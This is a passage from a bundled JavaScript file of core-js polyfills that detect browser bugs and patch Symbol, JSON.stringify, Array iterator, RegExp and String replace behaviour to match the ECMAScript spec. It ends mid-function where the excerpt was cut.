// Chrome 38 and 39 `Object.getOwnPropertySymbols` fails on primitives
// https://bugs.chromium.org/p/v8/issues/detail?id=3443
_export({ target: 'Object', stat: true, forced: fails(function () { objectGetOwnPropertySymbols.f(1); }) }, {
getOwnPropertySymbols: function getOwnPropertySymbols(it) {
return objectGetOwnPropertySymbols.f(toObject(it));
}
});
// `JSON.stringify` method behavior with symbols
// https://tc39.github.io/ecma262/#sec-json.stringify
if ($stringify) {
var FORCED_JSON_STRINGIFY = !nativeSymbol || fails(function () {
var symbol = $Symbol();
// MS Edge converts symbol values to JSON as {}
return $stringify([symbol]) != '[null]'
// WebKit converts symbol values to JSON as null
|| $stringify({ a: symbol }) != '{}'
// V8 throws on boxed symbols
|| $stringify(Object(symbol)) != '{}';
});
_export({ target: 'JSON', stat: true, forced: FORCED_JSON_STRINGIFY }, {
// eslint-disable-next-line no-unused-vars
stringify: function stringify(it, replacer, space) {
var args = [it];
var index = 1;
var $replacer;
while (arguments.length > index) args.push(arguments[index++]);
$replacer = replacer;
if (!isObject(replacer) && it === undefined || isSymbol(it)) return; // IE8 returns string on undefined
if (!isArray(replacer)) replacer = function (key, value) {
if (typeof $replacer == 'function') value = $replacer.call(this, key, value);
if (!isSymbol(value)) return value;
};
args[1] = replacer;
return $stringify.apply(null, args);
}
});
}
// `Symbol.prototype[@@toPrimitive]` method
// https://tc39.github.io/ecma262/#sec-symbol.prototype-@@toprimitive
if (!$Symbol[PROTOTYPE$1][TO_PRIMITIVE]) {
createNonEnumerableProperty($Symbol[PROTOTYPE$1], TO_PRIMITIVE, $Symbol[PROTOTYPE$1].valueOf);
}
// `Symbol.prototype[@@toStringTag]` property
// https://tc39.github.io/ecma262/#sec-symbol.prototype-@@tostringtag
setToStringTag($Symbol, SYMBOL);
hiddenKeys[HIDDEN] = true;
var defineProperty$2 = objectDefineProperty.f;
var NativeSymbol = global_1.Symbol;
if (descriptors && typeof NativeSymbol == 'function' && (!('description' in NativeSymbol.prototype) ||
// Safari 12 bug
NativeSymbol().description !== undefined
)) {
var EmptyStringDescriptionStore = {};
// wrap Symbol constructor for correct work with undefined description
var SymbolWrapper = function Symbol() {
var description = arguments.length < 1 || arguments[0] === undefined ? undefined : String(arguments[0]);
var result = this instanceof SymbolWrapper
? new NativeSymbol(description)
// in Edge 13, String(Symbol(undefined)) === 'Symbol(undefined)'
: description === undefined ? NativeSymbol() : NativeSymbol(description);
if (description === '') EmptyStringDescriptionStore[result] = true;
return result;
};
copyConstructorProperties(SymbolWrapper, NativeSymbol);
var symbolPrototype = SymbolWrapper.prototype = NativeSymbol.prototype;
symbolPrototype.constructor = SymbolWrapper;
var symbolToString = symbolPrototype.toString;
var native = String(NativeSymbol('test')) == 'Symbol(test)';
var regexp = /^Symbol\((.*)\)[^)]+$/;
defineProperty$2(symbolPrototype, 'description', {
configurable: true,
get: function description() {
var symbol = isObject(this) ? this.valueOf() : this;
var string = symbolToString.call(symbol);
if (has(EmptyStringDescriptionStore, symbol)) return '';
var desc = native ? string.slice(7, -1) : string.replace(regexp, '$1');
return desc === '' ? undefined : desc;
}
});
_export({ global: true, forced: true }, {
Symbol: SymbolWrapper
});
}
// `Symbol.iterator` well-known symbol
// https://tc39.github.io/ecma262/#sec-symbol.iterator
defineWellKnownSymbol('iterator');
var arrayMethodIsStrict = function (METHOD_NAME, argument) {
var method = [][METHOD_NAME];
return !!method && fails(function () {
// eslint-disable-next-line no-useless-call,no-throw-literal
method.call(null, argument || function () { throw 1; }, 1);
});
};
var defineProperty$3 = Object.defineProperty;
var cache = {};
var thrower = function (it) { throw it; };
var arrayMethodUsesToLength = function (METHOD_NAME, options) {
if (has(cache, METHOD_NAME)) return cache[METHOD_NAME];
if (!options) options = {};
var method = [][METHOD_NAME];
var ACCESSORS = has(options, 'ACCESSORS') ? options.ACCESSORS : false;
var argument0 = has(options, 0) ? options[0] : thrower;
var argument1 = has(options, 1) ? options[1] : undefined;
return cache[METHOD_NAME] = !!method && !fails(function () {
if (ACCESSORS && !descriptors) return true;
var O = { length: -1 };
if (ACCESSORS) defineProperty$3(O, 1, { enumerable: true, get: thrower });
else O[1] = 1;
method.call(O, argument0, argument1);
});
};
var $forEach$1 = arrayIteration.forEach;
var STRICT_METHOD = arrayMethodIsStrict('forEach');
var USES_TO_LENGTH = arrayMethodUsesToLength('forEach');
// `Array.prototype.forEach` method implementation
// https://tc39.github.io/ecma262/#sec-array.prototype.foreach
var arrayForEach = (!STRICT_METHOD || !USES_TO_LENGTH) ? function forEach(callbackfn /* , thisArg */) {
return $forEach$1(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);
} : [].forEach;
// `Array.prototype.forEach` method
// https://tc39.github.io/ecma262/#sec-array.prototype.foreach
_export({ target: 'Array', proto: true, forced: [].forEach != arrayForEach }, {
forEach: arrayForEach
});
var $indexOf = arrayIncludes.indexOf;
var nativeIndexOf = [].indexOf;
var NEGATIVE_ZERO = !!nativeIndexOf && 1 / [1].indexOf(1, -0) < 0;
var STRICT_METHOD$1 = arrayMethodIsStrict('indexOf');
var USES_TO_LENGTH$1 = arrayMethodUsesToLength('indexOf', { ACCESSORS: true, 1: 0 });
// `Array.prototype.indexOf` method
// https://tc39.github.io/ecma262/#sec-array.prototype.indexof
_export({ target: 'Array', proto: true, forced: NEGATIVE_ZERO || !STRICT_METHOD$1 || !USES_TO_LENGTH$1 }, {
indexOf: function indexOf(searchElement /* , fromIndex = 0 */) {
return NEGATIVE_ZERO
// convert -0 to +0
? nativeIndexOf.apply(this, arguments) || 0
: $indexOf(this, searchElement, arguments.length > 1 ? arguments[1] : undefined);
}
});
var UNSCOPABLES = wellKnownSymbol('unscopables');
var ArrayPrototype = Array.prototype;
// Array.prototype[@@unscopables]
// https://tc39.github.io/ecma262/#sec-array.prototype-@@unscopables
if (ArrayPrototype[UNSCOPABLES] == undefined) {
objectDefineProperty.f(ArrayPrototype, UNSCOPABLES, {
configurable: true,
value: objectCreate(null)
});
}
// add a key to Array.prototype[@@unscopables]
var addToUnscopables = function (key) {
ArrayPrototype[UNSCOPABLES][key] = true;
};
var iterators = {};
var correctPrototypeGetter = !fails(function () {
function F() { /* empty */ }
F.prototype.constructor = null;
return Object.getPrototypeOf(new F()) !== F.prototype;
});
var IE_PROTO$1 = sharedKey('IE_PROTO');
var ObjectPrototype$1 = Object.prototype;
// `Object.getPrototypeOf` method
// https://tc39.github.io/ecma262/#sec-object.getprototypeof
var objectGetPrototypeOf = correctPrototypeGetter ? Object.getPrototypeOf : function (O) {
O = toObject(O);
if (has(O, IE_PROTO$1)) return O[IE_PROTO$1];
if (typeof O.constructor == 'function' && O instanceof O.constructor) {
return O.constructor.prototype;
} return O instanceof Object ? ObjectPrototype$1 : null;
};
var ITERATOR = wellKnownSymbol('iterator');
var BUGGY_SAFARI_ITERATORS = false;
var returnThis = function () { return this; };
// `%IteratorPrototype%` object
// https://tc39.github.io/ecma262/#sec-%iteratorprototype%-object
var IteratorPrototype, PrototypeOfArrayIteratorPrototype, arrayIterator;
if ([].keys) {
arrayIterator = [].keys();
// Safari 8 has buggy iterators w/o `next`
if (!('next' in arrayIterator)) BUGGY_SAFARI_ITERATORS = true;
else {
PrototypeOfArrayIteratorPrototype = objectGetPrototypeOf(objectGetPrototypeOf(arrayIterator));
if (PrototypeOfArrayIteratorPrototype !== Object.prototype) IteratorPrototype = PrototypeOfArrayIteratorPrototype;
}
}
if (IteratorPrototype == undefined) IteratorPrototype = {};
// 25.1.2.1.1 %IteratorPrototype%[@@iterator]()
if ( !has(IteratorPrototype, ITERATOR)) {
createNonEnumerableProperty(IteratorPrototype, ITERATOR, returnThis);
}
var iteratorsCore = {
IteratorPrototype: IteratorPrototype,
BUGGY_SAFARI_ITERATORS: BUGGY_SAFARI_ITERATORS
};
var IteratorPrototype$1 = iteratorsCore.IteratorPrototype;
var returnThis$1 = function () { return this; };
var createIteratorConstructor = function (IteratorConstructor, NAME, next) {
var TO_STRING_TAG = NAME + ' Iterator';
IteratorConstructor.prototype = objectCreate(IteratorPrototype$1, { next: createPropertyDescriptor(1, next) });
setToStringTag(IteratorConstructor, TO_STRING_TAG, false);
iterators[TO_STRING_TAG] = returnThis$1;
return IteratorConstructor;
};
var aPossiblePrototype = function (it) {
if (!isObject(it) && it !== null) {
throw TypeError("Can't set " + String(it) + ' as a prototype');
} return it;
};
// `Object.setPrototypeOf` method
// https://tc39.github.io/ecma262/#sec-object.setprototypeof
// Works with __proto__ only. Old v8 can't work with null proto objects.
/* eslint-disable no-proto */
var objectSetPrototypeOf = Object.setPrototypeOf || ('__proto__' in {} ? function () {
var CORRECT_SETTER = false;
var test = {};
var setter;
try {
setter = Object.getOwnPropertyDescriptor(Object.prototype, '__proto__').set;
setter.call(test, []);
CORRECT_SETTER = test instanceof Array;
} catch (error) { /* empty */ }
return function setPrototypeOf(O, proto) {
anObject(O);
aPossiblePrototype(proto);
if (CORRECT_SETTER) setter.call(O, proto);
else O.__proto__ = proto;
return O;
};
}() : undefined);
var IteratorPrototype$2 = iteratorsCore.IteratorPrototype;
var BUGGY_SAFARI_ITERATORS$1 = iteratorsCore.BUGGY_SAFARI_ITERATORS;
var ITERATOR$1 = wellKnownSymbol('iterator');
var KEYS = 'keys';
var VALUES = 'values';
var ENTRIES = 'entries';
var returnThis$2 = function () { return this; };
var defineIterator = function (Iterable, NAME, IteratorConstructor, next, DEFAULT, IS_SET, FORCED) {
createIteratorConstructor(IteratorConstructor, NAME, next);
var getIterationMethod = function (KIND) {
if (KIND === DEFAULT && defaultIterator) return defaultIterator;
if (!BUGGY_SAFARI_ITERATORS$1 && KIND in IterablePrototype) return IterablePrototype[KIND];
switch (KIND) {
case KEYS: return function keys() { return new IteratorConstructor(this, KIND); };
case VALUES: return function values() { return new IteratorConstructor(this, KIND); };
case ENTRIES: return function entries() { return new IteratorConstructor(this, KIND); };
} return function () { return new IteratorConstructor(this); };
};
var TO_STRING_TAG = NAME + ' Iterator';
var INCORRECT_VALUES_NAME = false;
var IterablePrototype = Iterable.prototype;
var nativeIterator = IterablePrototype[ITERATOR$1]
|| IterablePrototype['@@iterator']
|| DEFAULT && IterablePrototype[DEFAULT];
var defaultIterator = !BUGGY_SAFARI_ITERATORS$1 && nativeIterator || getIterationMethod(DEFAULT);
var anyNativeIterator = NAME == 'Array' ? IterablePrototype.entries || nativeIterator : nativeIterator;
var CurrentIteratorPrototype, methods, KEY;
// fix native
if (anyNativeIterator) {
CurrentIteratorPrototype = objectGetPrototypeOf(anyNativeIterator.call(new Iterable()));
if (IteratorPrototype$2 !== Object.prototype && CurrentIteratorPrototype.next) {
if ( objectGetPrototypeOf(CurrentIteratorPrototype) !== IteratorPrototype$2) {
if (objectSetPrototypeOf) {
objectSetPrototypeOf(CurrentIteratorPrototype, IteratorPrototype$2);
} else if (typeof CurrentIteratorPrototype[ITERATOR$1] != 'function') {
createNonEnumerableProperty(CurrentIteratorPrototype, ITERATOR$1, returnThis$2);
}
}
// Set @@toStringTag to native iterators
setToStringTag(CurrentIteratorPrototype, TO_STRING_TAG, true);
}
}
// fix Array#{values, @@iterator}.name in V8 / FF
if (DEFAULT == VALUES && nativeIterator && nativeIterator.name !== VALUES) {
INCORRECT_VALUES_NAME = true;
defaultIterator = function values() { return nativeIterator.call(this); };
}
// define iterator
if ( IterablePrototype[ITERATOR$1] !== defaultIterator) {
createNonEnumerableProperty(IterablePrototype, ITERATOR$1, defaultIterator);
}
iterators[NAME] = defaultIterator;
// export additional methods
if (DEFAULT) {
methods = {
values: getIterationMethod(VALUES),
keys: IS_SET ? defaultIterator : getIterationMethod(KEYS),
entries: getIterationMethod(ENTRIES)
};
if (FORCED) for (KEY in methods) {
if (BUGGY_SAFARI_ITERATORS$1 || INCORRECT_VALUES_NAME || !(KEY in IterablePrototype)) {
redefine(IterablePrototype, KEY, methods[KEY]);
}
} else _export({ target: NAME, proto: true, forced: BUGGY_SAFARI_ITERATORS$1 || INCORRECT_VALUES_NAME }, methods);
}
return methods;
};
var ARRAY_ITERATOR = 'Array Iterator';
var setInternalState$1 = internalState.set;
var getInternalState$1 = internalState.getterFor(ARRAY_ITERATOR);
// `Array.prototype.entries` method
// https://tc39.github.io/ecma262/#sec-array.prototype.entries
// `Array.prototype.keys` method
// https://tc39.github.io/ecma262/#sec-array.prototype.keys
// `Array.prototype.values` method
// https://tc39.github.io/ecma262/#sec-array.prototype.values
// `Array.prototype[@@iterator]` method
// https://tc39.github.io/ecma262/#sec-array.prototype-@@iterator
// `CreateArrayIterator` internal method
// https://tc39.github.io/ecma262/#sec-createarrayiterator
var es_array_iterator = defineIterator(Array, 'Array', function (iterated, kind) {
setInternalState$1(this, {
type: ARRAY_ITERATOR,
target: toIndexedObject(iterated), // target
index: 0, // next index
kind: kind // kind
});
// `%ArrayIteratorPrototype%.next` method
// https://tc39.github.io/ecma262/#sec-%arrayiteratorprototype%.next
}, function () {
var state = getInternalState$1(this);
var target = state.target;
var kind = state.kind;
var index = state.index++;
if (!target || index >= target.length) {
state.target = undefined;
return { value: undefined, done: true };
}
if (kind == 'keys') return { value: index, done: false };
if (kind == 'values') return { value: target[index], done: false };
return { value: [index, target[index]], done: false };
}, 'values');
// argumentsList[@@iterator] is %ArrayProto_values%
// https://tc39.github.io/ecma262/#sec-createunmappedargumentsobject
// https://tc39.github.io/ecma262/#sec-createmappedargumentsobject
iterators.Arguments = iterators.Array;
// https://tc39.github.io/ecma262/#sec-array.prototype-@@unscopables
addToUnscopables('keys');
addToUnscopables('values');
addToUnscopables('entries');
var nativeJoin = [].join;
var ES3_STRINGS = indexedObject != Object;
var STRICT_METHOD$2 = arrayMethodIsStrict('join', ',');
// `Array.prototype.join` method
// https://tc39.github.io/ecma262/#sec-array.prototype.join
_export({ target: 'Array', proto: true, forced: ES3_STRINGS || !STRICT_METHOD$2 }, {
join: function join(separator) {
return nativeJoin.call(toIndexedObject(this), separator === undefined ? ',' : separator);
}
});
var createProperty = function (object, key, value) {
var propertyKey = toPrimitive(key);
if (propertyKey in object) objectDefineProperty.f(object, propertyKey, createPropertyDescriptor(0, value));
else object[propertyKey] = value;
};
var engineUserAgent = getBuiltIn('navigator', 'userAgent') || '';
var process = global_1.process;
var versions = process && process.versions;
var v8 = versions && versions.v8;
var match, version;
if (v8) {
match = v8.split('.');
version = match[0] + match[1];
} else if (engineUserAgent) {
match = engineUserAgent.match(/Edge\/(\d+)/);
if (!match || match[1] >= 74) {
match = engineUserAgent.match(/Chrome\/(\d+)/);
if (match) version = match[1];
}
}
var engineV8Version = version && +version;
var SPECIES$1 = wellKnownSymbol('species');
var arrayMethodHasSpeciesSupport = function (METHOD_NAME) {
// We can't use this feature detection in V8 since it causes
// deoptimization and serious performance degradation
// https://github.com/zloirock/core-js/issues/677
return engineV8Version >= 51 || !fails(function () {
var array = [];
var constructor = array.constructor = {};
constructor[SPECIES$1] = function () {
return { foo: 1 };
};
return array[METHOD_NAME](Boolean).foo !== 1;
});
};
var HAS_SPECIES_SUPPORT = arrayMethodHasSpeciesSupport('slice');
var USES_TO_LENGTH$2 = arrayMethodUsesToLength('slice', { ACCESSORS: true, 0: 0, 1: 2 });
var SPECIES$2 = wellKnownSymbol('species');
var nativeSlice = [].slice;
var max$1 = Math.max;
// `Array.prototype.slice` method
// https://tc39.github.io/ecma262/#sec-array.prototype.slice
// fallback for not array-like ES3 strings and DOM objects
_export({ target: 'Array', proto: true, forced: !HAS_SPECIES_SUPPORT || !USES_TO_LENGTH$2 }, {
slice: function slice(start, end) {
var O = toIndexedObject(this);
var length = toLength(O.length);
var k = toAbsoluteIndex(start, length);
var fin = toAbsoluteIndex(end === undefined ? length : end, length);
// inline `ArraySpeciesCreate` for usage native `Array#slice` where it's possible
var Constructor, result, n;
if (isArray(O)) {
Constructor = O.constructor;
// cross-realm fallback
if (typeof Constructor == 'function' && (Constructor === Array || isArray(Constructor.prototype))) {
Constructor = undefined;
} else if (isObject(Constructor)) {
Constructor = Constructor[SPECIES$2];
if (Constructor === null) Constructor = undefined;
}
if (Constructor === Array || Constructor === undefined) {
return nativeSlice.call(O, k, fin);
}
}
result = new (Constructor === undefined ? Array : Constructor)(max$1(fin - k, 0));
for (n = 0; k < fin; k++, n++) if (k in O) createProperty(result, n, O[k]);
result.length = n;
return result;
}
});
var TO_STRING_TAG$1 = wellKnownSymbol('toStringTag');
var test = {};
test[TO_STRING_TAG$1] = 'z';
var toStringTagSupport = String(test) === '[object z]';
var TO_STRING_TAG$2 = wellKnownSymbol('toStringTag');
// ES3 wrong here
var CORRECT_ARGUMENTS = classofRaw(function () { return arguments; }()) == 'Arguments';
// fallback for IE11 Script Access Denied error
var tryGet = function (it, key) {
try {
return it[key];
} catch (error) { /* empty */ }
};
// getting tag from ES6+ `Object.prototype.toString`
var classof = toStringTagSupport ? classofRaw : function (it) {
var O, tag, result;
return it === undefined ? 'Undefined' : it === null ? 'Null'
// @@toStringTag case
: typeof (tag = tryGet(O = Object(it), TO_STRING_TAG$2)) == 'string' ? tag
// builtinTag case
: CORRECT_ARGUMENTS ? classofRaw(O)
// ES3 arguments fallback
: (result = classofRaw(O)) == 'Object' && typeof O.callee == 'function' ? 'Arguments' : result;
};
// `Object.prototype.toString` method implementation
// https://tc39.github.io/ecma262/#sec-object.prototype.tostring
var objectToString = toStringTagSupport ? {}.toString : function toString() {
return '[object ' + classof(this) + ']';
};
// `Object.prototype.toString` method
// https://tc39.github.io/ecma262/#sec-object.prototype.tostring
if (!toStringTagSupport) {
redefine(Object.prototype, 'toString', objectToString, { unsafe: true });
}
// `RegExp.prototype.flags` getter implementation
// https://tc39.github.io/ecma262/#sec-get-regexp.prototype.flags
var regexpFlags = function () {
var that = anObject(this);
var result = '';
if (that.global) result += 'g';
if (that.ignoreCase) result += 'i';
if (that.multiline) result += 'm';
if (that.dotAll) result += 's';
if (that.unicode) result += 'u';
if (that.sticky) result += 'y';
return result;
};
// babel-minify transpiles RegExp('a', 'y') -> /a/y and it causes SyntaxError,
// so we use an intermediate function.
function RE(s, f) {
return RegExp(s, f);
}
var UNSUPPORTED_Y = fails(function () {
// babel-minify transpiles RegExp('a', 'y') -> /a/y and it causes SyntaxError
var re = RE('a', 'y');
re.lastIndex = 2;
return re.exec('abcd') != null;
});
var BROKEN_CARET = fails(function () {
// https://bugzilla.mozilla.org/show_bug.cgi?id=773687
var re = RE('^r', 'gy');
re.lastIndex = 2;
return re.exec('str') != null;
});
var regexpStickyHelpers = {
UNSUPPORTED_Y: UNSUPPORTED_Y,
BROKEN_CARET: BROKEN_CARET
};
var nativeExec = RegExp.prototype.exec;
// This always refers to the native implementation, because the
// String#replace polyfill uses ./fix-regexp-well-known-symbol-logic.js,
// which loads this file before patching the method.
var nativeReplace = String.prototype.replace;
var patchedExec = nativeExec;
var UPDATES_LAST_INDEX_WRONG = (function () {
var re1 = /a/;
var re2 = /b*/g;
nativeExec.call(re1, 'a');
nativeExec.call(re2, 'a');
return re1.lastIndex !== 0 || re2.lastIndex !== 0;
})();
var UNSUPPORTED_Y$1 = regexpStickyHelpers.UNSUPPORTED_Y || regexpStickyHelpers.BROKEN_CARET;
// nonparticipating capturing group, copied from es5-shim's String#split patch.
var NPCG_INCLUDED = /()??/.exec('')[1] !== undefined;
var PATCH = UPDATES_LAST_INDEX_WRONG || NPCG_INCLUDED || UNSUPPORTED_Y$1;
if (PATCH) {
patchedExec = function exec(str) {
var re = this;
var lastIndex, reCopy, match, i;
var sticky = UNSUPPORTED_Y$1 && re.sticky;
var flags = regexpFlags.call(re);
var source = re.source;
var charsAdded = 0;
var strCopy = str;
if (sticky) {
flags = flags.replace('y', '');
if (flags.indexOf('g') === -1) {
flags += 'g';
}
strCopy = String(str).slice(re.lastIndex);
// Support anchored sticky behavior.
if (re.lastIndex > 0 && (!re.multiline || re.multiline && str[re.lastIndex - 1] !== '\n')) {
source = '(?: ' + source + ')';
strCopy = ' ' + strCopy;
charsAdded++;
}
// ^(? + rx + ) is needed, in combination with some str slicing, to
// simulate the 'y' flag.
reCopy = new RegExp('^(?:' + source + ')', flags);
}
if (NPCG_INCLUDED) {
reCopy = new RegExp('^' + source + '$(?!\\s)', flags);
}
if (UPDATES_LAST_INDEX_WRONG) lastIndex = re.lastIndex;
match = nativeExec.call(sticky ? reCopy : re, strCopy);
if (sticky) {
if (match) {
match.input = match.input.slice(charsAdded);
match[0] = match[0].slice(charsAdded);
match.index = re.lastIndex;
re.lastIndex += match[0].length;
} else re.lastIndex = 0;
} else if (UPDATES_LAST_INDEX_WRONG && match) {
re.lastIndex = re.global ? match.index + match[0].length : lastIndex;
}
if (NPCG_INCLUDED && match && match.length > 1) {
// Fix browsers whose `exec` methods don't consistently return `undefined`
// for NPCG, like IE8. NOTE: This doesn' work for /(.?)?/
nativeReplace.call(match[0], reCopy, function () {
for (i = 1; i < arguments.length - 2; i++) {
if (arguments[i] === undefined) match[i] = undefined;
}
});
}
return match;
};
}
var regexpExec = patchedExec;
_export({ target: 'RegExp', proto: true, forced: /./.exec !== regexpExec }, {
exec: regexpExec
});
var TO_STRING = 'toString';
var RegExpPrototype = RegExp.prototype;
var nativeToString = RegExpPrototype[TO_STRING];
var NOT_GENERIC = fails(function () { return nativeToString.call({ source: 'a', flags: 'b' }) != '/a/b'; });
// FF44- RegExp#toString has a wrong name
var INCORRECT_NAME = nativeToString.name != TO_STRING;
// `RegExp.prototype.toString` method
// https://tc39.github.io/ecma262/#sec-regexp.prototype.tostring
if (NOT_GENERIC || INCORRECT_NAME) {
redefine(RegExp.prototype, TO_STRING, function toString() {
var R = anObject(this);
var p = String(R.source);
var rf = R.flags;
var f = String(rf === undefined && R instanceof RegExp && !('flags' in RegExpPrototype) ? regexpFlags.call(R) : rf);
return '/' + p + '/' + f;
}, { unsafe: true });
}
// `String.prototype.{ codePointAt, at }` methods implementation
var createMethod$2 = function (CONVERT_TO_STRING) {
return function ($this, pos) {
var S = String(requireObjectCoercible($this));
var position = toInteger(pos);
var size = S.length;
var first, second;
if (position < 0 || position >= size) return CONVERT_TO_STRING ? '' : undefined;
first = S.charCodeAt(position);
return first < 0xD800 || first > 0xDBFF || position + 1 === size
|| (second = S.charCodeAt(position + 1)) < 0xDC00 || second > 0xDFFF
? CONVERT_TO_STRING ? S.charAt(position) : first
: CONVERT_TO_STRING ? S.slice(position, position + 2) : (first - 0xD800 << 10) + (second - 0xDC00) + 0x10000;
};
};
var stringMultibyte = {
// `String.prototype.codePointAt` method
// https://tc39.github.io/ecma262/#sec-string.prototype.codepointat
codeAt: createMethod$2(false),
// `String.prototype.at` method
// https://github.com/mathiasbynens/String.prototype.at
charAt: createMethod$2(true)
};
var charAt = stringMultibyte.charAt;
var STRING_ITERATOR = 'String Iterator';
var setInternalState$2 = internalState.set;
var getInternalState$2 = internalState.getterFor(STRING_ITERATOR);
// `String.prototype[@@iterator]` method
// https://tc39.github.io/ecma262/#sec-string.prototype-@@iterator
defineIterator(String, 'String', function (iterated) {
setInternalState$2(this, {
type: STRING_ITERATOR,
string: String(iterated),
index: 0
});
// `%StringIteratorPrototype%.next` method
// https://tc39.github.io/ecma262/#sec-%stringiteratorprototype%.next
}, function next() {
var state = getInternalState$2(this);
var string = state.string;
var index = state.index;
var point;
if (index >= string.length) return { value: undefined, done: true };
point = charAt(string, index);
state.index += point.length;
return { value: point, done: false };
});
// TODO: Remove from `core-js@4` since it's moved to entry points
var SPECIES$3 = wellKnownSymbol('species');
var REPLACE_SUPPORTS_NAMED_GROUPS = !fails(function () {
// #replace needs built-in support for named groups.
// #match works fine because it just return the exec results, even if it has
// a "grops" property.
var re = /./;
re.exec = function () {
var result = [];
result.groups = { a: '7' };
return result;
};
return ''.replace(re, '$<a>') !== '7';
});
// IE <= 11 replaces $0 with the whole match, as if it was $&
// https://stackoverflow.com/questions/6024666/getting-ie-to-replace-a-regex-with-the-literal-string-0
var REPLACE_KEEPS_$0 = (function () {
return 'a'.replace(/./, '$0') === '$0';
})();
var REPLACE = wellKnownSymbol('replace');
// Safari <= 13.0.3(?) substitutes nth capture where n>m with an empty string
var REGEXP_REPLACE_SUBSTITUTES_UNDEFINED_CAPTURE = (function () {
if (/./[REPLACE]) {
return /./[REPLACE]('a', '$0') === '';
}
return false;
})();
// Chrome 51 has a buggy "split" implementation when RegExp#exec !== nativeExec
// Weex JS has frozen built-in prototypes, so use try / catch wrapper
var SPLIT_WORKS_WITH_OVERWRITTEN_EXEC = !fails(function () {
var re = /(?:)/;
var originalExec = re.exec;
re.exec = function () { return originalExec.apply(this, arguments); };
var result = 'ab'.split(re);
return result.length !== 2 || result[0] !== 'a' || result[1] !== 'b';
});
var fixRegexpWellKnownSymbolLogic = function (KEY, length, exec, sham) {
var SYMBOL = wellKnownSymbol(KEY);
var DELEGATES_TO_SYMBOL = !fails(function () {
// String methods call symbol-named RegEp methods
var O = {};
O[SYMBOL] = function () { return 7; };
return ''[KEY](O) != 7;
});
var DELEGATES_TO_EXEC = DELEGATES_TO_SYMBOL && !fails(function () {
// Symbol-named RegExp methods call .exec
var execCalled = false;
var re = /a/;
if (KEY === 'split') {
// We can't use real regex here since it causes deoptimization
// and serious performance degradation in V8
// https://github.com/zloirock/core-js/issues/306
re = {};
// RegExp[@@split] doesn't call the regex's exec method, but first creates
// a new one. We need to return the patched regex when creating the new one.
re.constructor = {};
re.constructor[SPECIES$3] = function () { return re; };
re.flags = '';
re[SYMBOL] = /./[SYMBOL];
}
re.exec = function () { execCalled = true; return null; };
re[SYMBOL]('');
return !execCalled;
});
if (
!DELEGATES_TO_SYMBOL ||
!DELEGATES_TO_EXEC ||
(KEY === 'replace' && !(
REPLACE_SUPPORTS_NAMED_GROUPS &&
REPLACE_KEEPS_$0 &&
!REGEXP_REPLACE_SUBSTITUTES_UNDEFINED_CAPTURE
)) ||
(KEY === 'split' && !SPLIT_WORKS_WITH_OVERWRITTEN_EXEC)
) {
var nativeRegExpMethod = /./[SYMBOL];
var methods = exec(SYMBOL, ''[KEY], function (nativeMethod, regexp, str, arg2, forceStringMethod) {
if (regexp.exec === regexpExec) {
if (DELEGATES_TO_SYMBOL && !forceStringMethod) {
// The native String method already delegates to @@method (this
// polyfilled function), leasing to infinite recursion.
// We avoid it by directly calling the native @@method method.
return { done: true, value: nativeRegExpMethod.call(regexp, str, arg2) };
}
return { done: true, value: nativeMethod.call(str, regexp, arg2) };
}
return { done: false };
}, {
REPLACE_KEEPS_$0: REPLACE_KEEPS_$0,
REGEXP_REPLACE_SUBSTITUTES_UNDEFINED_CAPTURE: REGEXP_REPLACE_SUBSTITUTES_UNDEFINED_CAPTURE
});
var stringMethod = methods[0];
var regexMethod = methods[1];
redefine(String.prototype, KEY, stringMethod);
redefine(RegExp.prototype, SYMBOL, length == 2
// 21.2.5.8 RegExp.prototype[@@replace](string, replaceValue)
// 21.2.5.11 RegExp.prototype[@@split](string, limit)
? function (string, arg) { return regexMethod.call(string, this, arg); }
// 21.2.5.6 RegExp.prototype[@@match](string)
// 21.2.5.9 RegExp.prototype[@@search](string)
: function (string) { return regexMethod.call(string, this); }
);
}
if (sham) createNonEnumerableProperty(RegExp.prototype[SYMBOL], 'sham', true);
};
var charAt$1 = stringMultibyte.charAt;
// `AdvanceStringIndex` abstract operation
// https://tc39.github.io/ecma262/#sec-advancestringindex
var advanceStringIndex = function (S, index, unicode) {
return index + (unicode ? charAt$1(S, index).length : 1);
};
// `RegExpExec` abstract operation
// https://tc39.github.io/ecma262/#sec-regexpexec
var regexpExecAbstract = function (R, S) {
var exec = R.exec;
if (typeof exec === 'function') {
var result = exec.call(R, S);
if (typeof result !== 'object') {
throw TypeError('RegExp exec method returned something other than an Object or null');
}
return result;
}
if (classofRaw(R) !== 'RegExp') {
throw TypeError('RegExp#exec called on incompatible receiver');
}
return regexpExec.call(R, S);
};
var max$2 = Math.max;
var min$2 = Math.min;
var floor$1 = Math.floor;
var SUBSTITUTION_SYMBOLS = /\$([$&'`]|\d\d?|<[^>]*>)/g;
var SUBSTITUTION_SYMBOLS_NO_NAMED = /\$([$&'`]|\d\d?)/g;
var maybeToString = function (it) {
return it === undefined ? it : String(it);
};
// @@replace logic
fixRegexpWellKnownSymbolLogic('replace', 2, function (REPLACE, nativeReplace, maybeCallNative, reason) {
var REGEXP_REPLACE_SUBSTITUTES_UNDEFINED_CAPTURE = reason.REGEXP_REPLACE_SUBSTITUTES_UNDEFINED_CAPTURE;
var REPLACE_KEEPS_$0 = reason.REPLACE_KEEPS_$0;
var UNSAFE_SUBSTITUTE = REGEXP_REPLACE_SUBSTITUTES_UNDEFINED_CAPTURE ? '$' : '$0';
return [
// `String.prototype.replace` method
// https://tc39.github.io/ecma262/#sec-string.prototype.replace
function replace(searchValue, replaceValue) {
var O = requireObjectCoercible(this);
var replacer = searchValue == undefined ? undefined : searchValue[REPLACE];
return replacer !== undefined
? replacer.call(searchValue, O, replaceValue)
: nativeReplace.call(String(O), searchValue, replaceValue);
},
// `RegExp.prototype[@@replace]` method
// https://tc39.github.io/ecma262/#sec-regexp.prototype-@@replace
function (regexp, replaceValue) {
if (
(!REGEXP_REPLACE_SUBSTITUTES_UNDEFINED_CAPTURE && REPLACE_KEEPS_$0) ||
(typeof replaceValue === 'string' && replaceValue.indexOf(UNSAFE_SUBSTITUTE) === -1)
) {
var res = maybeCallNative(nativeReplace, regexp, this, replaceValue);
if (res.done) return res.value;
}
var rx = anObject(regexp);
var S = String(this);
var functionalReplace = typeof replaceValue === 'function';
if (!functionalReplace) replaceValue = String(replaceValue);
var global = rx.global;
if (global) {
var fullUnicode = rx.unicode;
rx.lastIndex = 0;
}
var results = [];
while (true) {
var result = regexpExecAbstract(rx, S);
if (result === null) break;
results.push(result);
if (!global) break;
